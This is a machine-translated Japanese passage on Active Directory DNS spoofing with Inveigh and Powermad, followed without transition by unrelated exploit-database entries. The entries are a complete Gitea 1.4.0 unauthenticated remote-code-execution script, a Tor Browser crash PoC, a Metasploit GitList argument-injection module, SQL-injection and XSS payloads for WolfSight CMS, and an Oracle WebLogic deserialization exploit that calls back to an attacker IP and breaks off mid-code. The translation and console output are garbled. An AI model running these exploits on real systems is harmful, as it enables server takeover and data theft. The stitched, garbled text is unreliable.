この記事の目的のために、LLMNR/NBNSスプーフィングに関する2つの重要な部分を簡単に紹介します。まず、LLMNRおよびNBNSリクエストは、ルーターベースのトラフィックルーティングを実装することなく、それぞれ単一のマルチキャストまたはブロードキャストドメインに含まれています。これにより、潜在的な特権的なスプーフィング攻撃の対象となる侵入システムとセッションの影響の範囲を大幅に制限できます。第二に、デフォルトでは、Windowsシステムは、ネットワークプロトコルに基づいて名前解決を介して要求を解決しようとするときに次の優先リストを使用します。

1.DNS

2.llmnr

3.nbns

DNSは攻撃全体の一部として直接悪用されていませんが、リクエストをLLMNRまたはNBNSに引き渡すことができるため、DNSは実際にLLMNR/NBNSスプーフィングの有効性に大きな影響を与えます。基本的に、名前リクエストがDNSにリストされているレコードと一致する場合、クライアントは通常、LLMNRおよびNBNSを介して要求を解決しようとしません。

攻撃を実行するとき、ネットワークベースの名前解像度プロトコルの階層に対応する解像度順序を本当に満たす必要がありますか? DNSで直接解決する簡単な方法はありますか?ドメインには非主要なアクセスのみがあることを忘れないでください。この制限に基づいて攻撃を完了するために使用しなければならないものを見てみましょう。

Active Directory統合DNSゾーン

ドメインコントローラーとAdidnsゾーンは常に一緒に表示されます。通常、各ドメインコントローラーにはアクセス可能なDNSサーバーがあり、少なくともデフォルトのADIDNSゾーンをホストしています。

私が強調したい最初のデフォルト設定は、ADIDNSゾーンの自律アクセス制御リスト(DACL)です。

上の画像から、「認証されたユーザー」でデフォルトで領域がリストされていることがわかります。「すべての子オブジェクトの作成」があります。認証されたユーザーのドメイン名への操作のしきい値は非常に低いです。もちろん、これらのユーザーが操作できるドメイン名には、アクセスに特権を必要としないターゲットも含まれます。しかし、この機能をどのように活用できるか、そしてそれで何ができるかを明確にする必要がありますか?

adidnsゾーンを変更します

adidnsゾーンをリモートで変更する主な方法は2つあります。 1つ目は、RPCベースの管理ツールを使用することです。これらのツールを実行するには、通常、DNS管理者またはより高い権限が必要なので、これらのツールの機能については説明しません。 2番目の方法は、DNSダイナミックアップデートです。動的更新は、DNSゾーンの変更に特別に使用されるDNS固有のプロトコルです。広告の世界では、動的更新は主にコンピューターアカウントで使用され、独自のDNSレコードを追加および更新します。

これにより、関心のあるADIDNSゾーンの別のデフォルト設定、安全な動的アップデートの有効な状態になります。

動的アップデート

昨年、このデフォルト設定を延期中にこのデフォルト設定を簡単に活用できるようにするために、Invoke-Dnsupdateと呼ばれるPowerShell DNSダイナミックアップデートツールを開発しました。

PSC: \ users \ kevin \ desktop \ powermadinvoke-dnsupdate-dnstypea-dnsmatest-dnsdata192.168.125.100-verbose

Verbose: [+] Tkeyname648-MS-7.1-4675.57409638-8579-11E7-5813-000C296694E0

verbose: [+] kerberospreauthenticationsuccessful

verbose: [+] kerberostkeyquerysuccessful

[+] dnsupdatesuccessful

DNSレコードにアクセス許可を適用する方法を理解したら、安全な動的更新にルールを使用することは非常に簡単になります。ゾーンに一致するDNSレコード名がない場合、認証されたユーザーは対応するDNSレコードを作成できます。作成者アカウントは、DNSレコードの所有権または完全な制御を獲得します。

DNSゾーンに一致するレコード名が既に存在する場合、ユーザーが管理者である場合など、ユーザーが必要なアクセス許可を持っている場合を除き、認証されたユーザーはレコードの変更または削除を禁止されます。 DNSレコードの代わりにDNSレコード名を使用していることに注意してください。この点で、標準のDNSビューは混乱を招く可能性があります。実際、権限は、DNSコンソールで表示されている単一のDNSレコードではなく、DNSレコード名に基づいて適用されます。

たとえば、管理者が「テスト」という名前のレコードを作成した場合、非適切なアカウントは、DNSループセットアップの一部として「テスト」という名前の2番目のレコードを作成できません。これは、複数のDNSレコードタイプにも適用されます。デフォルトがDNSゾーンのルートゾーンにレコードが存在する場合、両方のレコードが内部的に「@」という名前のために、非特徴のアカウントはDNSゾーンのルートMXレコードを作成できません。この記事では、DNSレコードを別の観点から見ていきます。これは、名前でグループ化されたAdidnsレコードのより良い見解を提供します。

以下は、KerberosやLDAPなどの広告サービスに影響を与えないようにするためのデフォルトのレコードです。

非主要なユーザーの動的な更新を通じて作成できるレコードの種類にはほとんど制限はありません。作成できるタイプは、Windows Server Dynamic Updateの実装によってサポートされているタイプに限定されます。最も一般的なレコードタイプは一般的にサポートされています。 Invoke-DnSupdateは現在、A、AAAA、CNAME、MX、PTR、SRV、およびTXTレコードをサポートしています。一般に、DNSレコードを追加することが存在しておらず、DNSレコードの追加に値する場合、攻撃者は確実に別々のセキュリティ動的更新を悪用することができます。

動的更新を備えたLLMNR/NBNSスプーフィングをサプリメントします

セキュリティの動的更新を兵器化し、LLMNR/NBNSスプーフィングのように実行できるようにするために、受信したLLMNR/NBNSリクエストに合わせて対応するためにレコードをADIDNSに注入する方法を検討しました。理論的には、LLMNR/NBNSにドロップできるDNSには記録がないはずです。したがって、これらのレコードでは、認証されたユーザーが作成する必要があります。この方法は、イントラネットでは一般的ではない、または要求された1回だけの名前には実用的ではありません。ただし、LLMNR/NBNSを介して同じリクエストが表示され続けると、DNSにそのレコードを追加することが役立つ場合があります。

このテクノロジーのバリエーションは、今後のInveighバージョンに含まれています。 Inveighが複数のシステムから同じLLMNR/NBNSリクエストを検出した場合、一致するレコードをADIDNSに追加できます。このアプローチは、システムがDNSに存在しなくなった古いホストに対してLLMNR/NBNS名解像度要求を送信する場合に効果的です。サブネット内の複数のシステムが特定の名前を解決しようとしている場合、外部システムが同じ名前を解決しようとする可能性もあります。この場合、adidnsの注入は、攻撃をサブネット境界に拡張するのに役立ちます。

PSC: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy-dnsy-dnsthreshold4

[*] inveigh1.4devstartedat2018-07-05t22:32:37

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] dnsinjection=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:32:52] llmnrrequestfordnsinjecteivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:00] llmnrRrequestfordnsinjecteivedfrom192.168.125.100 [Responsesent]

[+] [2018-07-05T222:35:00] llmnrrequestnsinjed receivedfrom192.168.125.104 [Responsesent]

[+] [2018-07-05T222:41:00] llmnrRrequestnsinjecteivedfrom192.168.125.105 [Responsesent]

[+] [2018-07-05T222:50336000] llmnrrequestfordnsinjecteivedfrom192.168.125.106 [Responsesent]

警告: [!] [2018-07-05T22:33333:01] dns(a)Recordfordnsinjectadded

方法を覚えておいてください

Protocol自体や、理想的なセキュリティダイナミックアップデート攻撃を見つけようとするときに既に存在するデフォルトのDNSレコードに困難がありました。前述のように、私はInveighで動的更新攻撃を実装することを計画していたので、浸透テストでこの手法をどのように使用するかについてもっと考え始めました。侵入テスターがこの攻撃が機能することを確認するのを支援するために、私は、非主要なアカウントのコンテキストを通じてadidnsゾーンのアクセス許可を表示できるPowerShell関数を作成することが役立つことに気付きました。しかし、管理者のみが使用許可を持っているツールを使用しない場合、DACLSをリモートで列挙できますか? Adidnsの研究に関与していなかった私の脳の部分はすぐに答えました:「DNSゾーンはADに保存され、LDAPを介してDACLを見てください」。

ldap…

.使用していないDNSゾーンを表示する別の方法があるようです。

ネットワーク管理者としての仕事中に遭遇したかもしれないことを思い出し、Adidnsゾーンは現在domaindnszonesまたはforestdnszonesパーティションに保存されていることを発見しました。

LDAPは、「認証されたユーザー」が動的更新に依存することなくAdidnsゾーンを変更する方法を提供します。 DNSNodeクラスのADオブジェクトを作成することにより、LDAPを介してADIDNSゾーンにDNSレコードを直接追加できます。

この簡単な理解で、私は今、私が追いかけていたDNS攻撃を実行する方法があります。

ワイルドカードレコード

WildCardレコードにより、DNSはLLMNR/NBNSスプーフィングと非常によく似た方法で実行できます。ワイルドカードレコードが作成された後、DNSサーバーはレコードを使用して、ゾーンに含まれるレコードの名前リクエストに応答しますが、明示的に一致しません。

psc: \ users \ kevin \ desktop \ powermadresolve-dnsnamednsrecord

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord.inveigh.neta600answer192.168.125.100

LLMNR/NBNSとは異なり、WildCard Recordsは、ADIDNSゾーンに一致する完全に適格な名前のリクエストも解決します。

PSC: \ users \ kevin \ desktop \ powermadresolve-dnsnamenodnsrecord2.inveigh.net

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord2.inveigh.neta600answer192.168.125.100

WildCardレコードを使用して注入する私のプロセスは、動的更新自体のいくつかの制限によってブロックされています。動的な更新の場合、少なくともWindowsシステムは、実装されたときに「*」文字を正しく処理していないようです。ただし、LDAPには同じ問題はありません。

psc: \ users \ kevin \ desktop \ powermadnew-adidnsnode*-verbose

verbose: [+] domaincontroller=inveigh-dc1.inveigh.net

verbose: [+] domain=inveigh.net

verbose: [+] adidnszone=inveigh.net

Verbose: [+] DistinguishedName=dc=*、dc=inveigh.net、cn=microsoftdns、dc=domaindnszones、dc=inveigh、dc=net

verbose: [+] data=192.168.125.100

Verbose: [+] DNSRecordArray=04-00-01-00-05-F0-00-00-00-BA-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64

[+] adidnsnode*追加

名前

研究のペースを取り戻し、DNSノードがAdidnsレコードを形成するためにどのように使用されるかを見てみましょう。 ADIDNSレコードの主な構造は、DNSRecordプロパティに保存されます。この属性は、レコードタイプ、宛先IPアドレス、ホスト名などの要素、および静的および動的分類などの要素を定義します。

名前以外のすべての主要なレコードの詳細は、DNSRecordに保存されます。興味がある場合は、MS-DNSPのプロパティ構造に関する詳細情報を見つけることができます。

A、AAAA、CNAME、DNAME、MX、NS、PTR、SRV、TXTなどのこれらのレコードタイプのDNSRecord配列を作成できるNew-DNSRecordArrayというPowerShell関数を作成しました。

PSC: \ users \ kevin \ desktop \ powermad $ dnsrecord=new-dnsrecordarray-typea-data192.168.125.100

PSC: \ users \ kevin \ desktop \ powermad [system.bitconverter] :toString($ dnsrecord)

04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

前に述べたように、LDAPは、DNSレコードのマッチング名がどのようにまとめられているかを確認する方が良いと考えています。単一のDNSノードには、DNSRecordプロパティに複数の行を含めることができます。各行は、同じ名前の個別のDNSレコードを表します。以下は、「@」という名前のノードのDNSRecordプロパティに含まれる複数のレコードの例です。

既存のプロパティ値を上書きする代わりに、最後にAppendingを使用することにより、新しい行をNodeのDNSRecordプロパティに追加できます。 PowerShell関数編集用に作成したPowerShell関数Set-AdidnsNodeattributeには、これを行うために使用できる「追加」スイッチがあります。

同期と複製

LDAPを介してAdidNSゾーンを変更すると、LDAPにノードを追加することとDNSでのそのレコードの発生との間に遅延が見つかる場合があります。これは、DNSサーバーのサービスがADIDNSゾーンの独自のメモリコピーを使用しているためです。デフォルトでは、DNSサーバーは180秒ごとにADでメモリのコピーを同期します。

大規模なマルチサイトADインフラストラクチャでは、ドメインコントローラーの複製時間が、Adidnsのスプーフィング攻撃を開始するための要因とタイミングになる可能性があります。エンタープライズイントラネットでは、追加するレコードの影響の範囲を完全に拡張および利用するために、攻撃時間は複製遅延時間を延長する必要があります。デフォルトでは、サイト間の複製には最大3時間かかる場合があります。遅延を減らすために、最大の攻撃効果を持つDNSサーバーを見つけることで攻撃を開始できます。イントラネット環境で各DNSサーバーにレコードを追加し、レプリケーションが機能する前にジャンプすることは、複製が完了すると、ADは重複オブジェクトを並べ替える必要があることを忘れないでください。

SOAシリアル番号

ADIDNSゾーンを使用する際に考慮すべきもう1つの要因は、ネットワーク上の他の統合DNSサーバーの存在の可能性です。サーバーがスレーブDNSゾーンをホストする場合、シリアル番号を使用して、変更が発生したかどうかを判断します。幸いなことに、LDAPを介してDNSノードを追加すると、シーケンス番号が増加します。増分シーケンス番号をノードのDNSRecord配列に含める必要があり、スレーブエリアをホストするサーバーにレコードをコピーできるようにします。領域のSOAシーケンス番号は、すべてのノードのDNSRecord属性にリストされている最高の数字です。ここでは、SOAシーケンス数は1のみで増分され、領域のシーケンス数が不必要に増加するのを防ぐことに注意する必要があります。 New-SoaserialNumberArrayと呼ばれるPowerShell関数を作成し、プロセスを簡素化しました。

psc: \ users \ kevin \ desktop \ powermadnew-soaserialnumbumberarray

62

0

0

0

SOAシリアル番号は、nslookupを通じて取得することもできます。

PSC: \ users \ kevin \ desktop \ powermadnslookup

DefaultServer:Unknown

address:192.168.125.10

setType=SOA

Investeigh.net

server3360Unknown

address:192.168.125.10

Investeigh.net

PrimaryNamesErver=inveigh-dc1.inveigh.net

ressionblemailaddr=hostmaster.inveigh.net

シリアル=255

# pip install PyJWT requests
# pip install dulwich==0.19.0
from requests import Request, Session, get, post
import jwt
import time
import base64
import os
import re
import time
import threading
import random
import string
import urlparse
import urllib
from dulwich import porcelain

print "Gitea 1.4.0"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek"

def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)

def get_random():
	return ''.join(random.choice(string.lowercase) for x in range(6))

def get_csrf(path):
	temp = s.get("{}{}".format(url, path))

	content = temp.text.encode("utf-8")

	csrf = re.search('name="_csrf" content="([^"]+)"', content)

	if not csrf:
		print "[-] Cannot get CSRF token"
		os._exit(0)

	return csrf.group(1)

command = "whoami"
url = 'http://192.168.1.103:3000/'
session_value = '11session'

r = get('{}api/v1/repos/search?limit=1'.format(url))
try:
	out = r.json()['data']
except:
	print "[-] Probably not gitea url"
	os._exit(0)

if len(out) != 1:
	print "[-] There is no public repos"
	os._exit(0)

out = out[0]

public_repo_id = int(out['id'])
public_user_id = int(out['owner']['id'])
public_repo_url = out['full_name']

print "[+] Found public repo {} ID {}".format(public_repo_url, public_repo_id)

json = {
	"Oid": "....custom/conf/app.ini",
	"Size": 1000000, # This needs to be bigger than file
	"User" : "a",
	"Password" : "a",
	"Repo"  : "a",
	"Authorization" : "a"
}

s = Session()

r  = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
	print "[-] Cannot create fake OID for app.ini"
	os._exit(0)

print "[+] Fake OID for app.ini created"

r = get(r'{}{}.git/info/lfs/objects/....custom%2fconf%2fapp.ini/sth'.format(url, public_repo_url))

if "RUN_USER" not in r.text:
	print "[-] Cannot get app.ini"
	os._exit(0)


secret_match = re.search('LFS_JWT_SECRET *= *(.*?)[\r\n]', r.text)
if not secret_match:
	print "[-] Cannot find JWT secret in app.ini"
	os._exit(0)

jwt_secret = str(secret_match.group(1).strip())
print "[+] Found secret: {}-".format(jwt_secret)
jwt_secret = decode_base64(jwt_secret)

# This needs to be INT, not STR
current_time = int(time.time())-(60*60*24*1000)
current_time2 = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': current_time2, 'nbf': current_time}, jwt_secret, algorithm='HS256')

print "[+] Generate jwt token for user {} and repo {}".format(public_user_id, public_repo_id)
print token

json['Oid'] = '....data/sessions/1/1/{}'.format(session_value)

r  = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
	print "[-] Cannot create fake OID for session"
	os._exit(0)

print "[+] Fake OID for session created"

def race_condition_thread():
	print "\n[+] Race condition thread started"
	ts = Session()
	req = Request('PUT', r'{}{}.git/info/lfs/objects/....data%2fsessions%2f1%2f1%2f{}'.format(url, public_repo_url, session_value) , data=open('session.tmp', "rb").read())
	prepped = req.prepare()
	# We need to set explicit big content length for race condition
	prepped.headers['Content-Length'] = 150000
	prepped.headers['Accept'] = 'application/vnd.git-lfs'
	prepped.headers['Content-Type'] = 'application/vnd.git-lfs'
	prepped.headers['Authorization'] = 'Bearer {}'.format(token)
	# This will hang because of big Content-Length
	response = ts.send(prepped)
	print "\n[-] Race condition thread ended before exploit finish, try again"

thread = threading.Thread(target=race_condition_thread, args=())
thread.daemon = True
thread.start()
print "\n[+] Sleep 5 seconds"
time.sleep(5)

print "[+] Try using fake cookie: {}".format(session_value)

s = Session()
s.headers.update({'Cookie': 'i_like_gitea={}.tmp;'.format(session_value)})

r = s.get('{}api/v1/user'.format(url))
data = r.json()

if not "id" in data or data['id'] != 1:
	print "[-] Impersonation failed"
	os._exit(0)

user_name = data['login']
user_id = data['id']

print "[+] Login as {} ID {}".format(user_name, user_id)

csrf = get_csrf('user/settings/applications')
post_token = s.post('{}user/settings/applications'.format(url), data={'_csrf':csrf, 'name':get_random()}, allow_redirects=False)

try:
	login_token = post_token.cookies['macaron_flash']
	login_token = dict(urlparse.parse_qsl(urllib.unquote(login_token)))
	login_token = login_token['info']
except:
	print "[-] Cannot create token"
	os._exit(0)

print "[+] Login token: {}".format(login_token)

csrf = get_csrf('repo/create')
admin_repo_name = get_random()

print "[+] Try create repo {}".format(admin_repo_name)

repo_post = s.post("{}repo/create".format(url), data={'_csrf':csrf, 'uid':user_id, 'repo_name':admin_repo_name, 'readme': 'Default', 'auto_init':'on'}, allow_redirects=False)

if repo_post.status_code != 302:
	print "[-] Cannot create admin repo"
	os._exit(0)

csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name))
hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False)

if hook_posts.status_code != 302:
	print "[-] Cannot updatehook"
	os._exit(0)

clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name)

temp_repo_dir = get_random()
r = porcelain.clone(clone_url, temp_repo_dir)
porcelain.commit(r, get_random())
porcelain.push(r, clone_url, "master")

command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name))
if command_output.status_code != 200:
	print "[-] Cannot get exploit output"
	os._exit(0)
	
print command_output.text.encode("utf-8")
            
# Exploit Title: Tor Browser - Use After Free (PoC)
# Date: 09.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.torproject.org/ 
# Software Link: https://www.torproject.org/download/download-easy.html.en
# Version: Tor 0.3.2.x before 0.3.2.10
# Tested on: Kali Linux
# CVE : CVE-2018-0491

#Run exploit, result DOS


<!DOCTYPE html>
<html>
<title>veryhandsome jameel naboo</title>
<body>
<script>
function send()
{
try { document.body.contentEditable = 'true'; } catch(e){}
try { var e0 = document.createElement("frameset"); } catch(e){}
try { document.body.appendChild(e0); } catch(e){}
try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){}
try {
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo
rder']='-4400000000';}, false); e0.focus();} catch(e){}
try { e0.setAttribute('iframe'); } catch(e){}
try { document.body.insertBefore(e0); } catch(e){}
}
send();</script></html>
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GitList v0.6.0 Argument Injection Vulnerability",
      'Description'    => %q{
        This module exploits an argument injection vulnerability in GitList v0.6.0.
        The vulnerability arises from GitList improperly validating input using the php function
        'escapeshellarg'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'EDB', '44548' ],
          [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'GitList v0.6.0', { } ]
        ],
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '\'"' },
      'DisclosureDate' => "Apr 26 2018",
      'DefaultTarget'  => 0))
  end

  def check
    uri = normalize_uri(target_uri.path, '/gitlist/')
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
    cmd = '--open-files-in-pager=php -r "eval(\\"'
    cmd << payload.encoded
    cmd << '\\");"'
    send_request_cgi(
      'method' => 'POST',
      'uri'    => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end
            
# Exploit Title: WolfSight CMS 3.2 - SQL Injection
# Google Dork: N/A
# Date: 2018-07-10
# Exploit Author: Berk Dusunur & Zehra Karabiber
# Vendor Homepage: http://www.wolfsight.com
# Software Link: http://www.wolfsight.com
# Version: v3.2
# Tested on: Parrot OS / WinApp Server
# CVE : N/A

# PoC Sql Injection
# Parameter: #1* (URI)
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

http://www.ip/page1-%bf%bf"-page1/' AND (SELECT 7988 FROM(SELECT COUNT(*),CONCAT(0x717a766a71,(SELECT(ELT(7988=7988,1))),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WpDn'='WpDn

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload: 

http://www.ip/page1-%bf%bf"-page1/'OR SLEEP(5) AND 'kLLx'='kLLx

# PoC Cross-Site Scripting
# http://ip/admin/login.php
# Username

<IMG SRC=”javascript:alert(‘EZK’);”>

# This vulnerability was identified during bug bounty
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

from argparse import RawTextHelpFormatter
import socket, argparse, subprocess, ssl, os.path

HELP_MESSAGE = '''
--------------------------------------------------------------------------------------
Developped by bobsecq: quentin.hardy@protonmail.com (quentin.hardy@bt.com)

This script is the first public exploit/POC for:
- Exploiting CVE-2017-3248 (Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution)
- Checking if a weblogic server is vulnerable

This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial)

Version affected (according to Oracle):
- 10.3.6.0
- 12.1.3.0
- 12.2.1.0
- 12.2.1.1
--------------------------------------------------------------------------------------
'''
'''
Tested on 12.1.2.0

For technical information, see:
- https://www.tenable.com/security/research/tra-2017-07
- http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html

Vulnerability identified by Jacob Baines (Tenable Network Security)
but exploit/POC has not been published!
'''

#COMMANDS
ARGS_YSO_GET_PAYLOD = "JRMPClient {0}:{1} |xxd -p| tr -d '\n'" #{0}: IP, {1}: port for connecting 'back' (i.e. attacker IP)
CMD_GET_JRMPCLIENT_PAYLOAD = "java -jar {0} {1}"# {0} YSOSERIAL_PATH, {1}ARGS_YSO_GET_PAYLOD
CMD_YSO_LISTEN = "java -cp {0} ysoserial.exploit.JRMPListener {1} {2} '{3}'"# {0} YSOSERIAL_PATH, {1}PORT, {2}payloadType, {3}command

#PAYLOADS
#A. Packet 1 to send:
payload_1 = '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'
#B. Packet 2 to send:
payload_2 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e32323700124141414141414141414141413154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3131312e3131312e302e31313161863d1d0000000078'
#C. Packet 3 to send:
#C.1 length
payload_3_1 = "000003b3"
#C.2 first part
payload_3_2 = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000'
#C.3.1 sub payload
payload_3_3_1 = 'aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
#C.3.2 Ysoserial Payload generated in real time
payload_3_3_2 = ""
#C.4 End of the payload
payload_3_4 = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'

def runCmd(cmd):
	proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
	stdout_value = proc.stdout.read() + proc.stderr.read()
	return stdout_value

def getJrmpClientPayloadEncoded(attackerIp, attackerJRMPListenerPort, ysoPath):
	completeCmd = CMD_GET_JRMPCLIENT_PAYLOAD.format(ysoPath, ARGS_YSO_GET_PAYLOD.format(attackerIp, attackerJRMPListenerPort))
	print "[+] Ysoserial command (JRMP client): {0}".format(repr(completeCmd))
	stdout = runCmd(cmd = completeCmd)
	return stdout

def exploit(targetIP, targetPort, attackerIP, attackerJRMPPort, cmd, testOnly=False, payloadType='CommonsCollections5', sslEnabled=False, ysoPath=""):
	if testOnly == True:
		attackerIP = "127.0.0.1"
		attackerJRMPPort = 0
	print "[+] Connecting to {0}:{1} ...".format(targetIP, targetPort)
	if sslEnabled == True:
		print "[+] ssl mode enabled"
		s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
	else:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		print "[+] ssl mode disabled"
	s.connect((targetIP, targetPort))
	print "[+] Connected to {0}:{1}".format(targetIP, targetPort)
	print "[+] Sending first packet..."
	#print "[S1] Sending {0}".format(repr(payload_1.decode('hex')))
	s.sendall(payload_1.decode('hex'))
	data = s.recv(4096)
	#print '[R1] Received', repr(data)
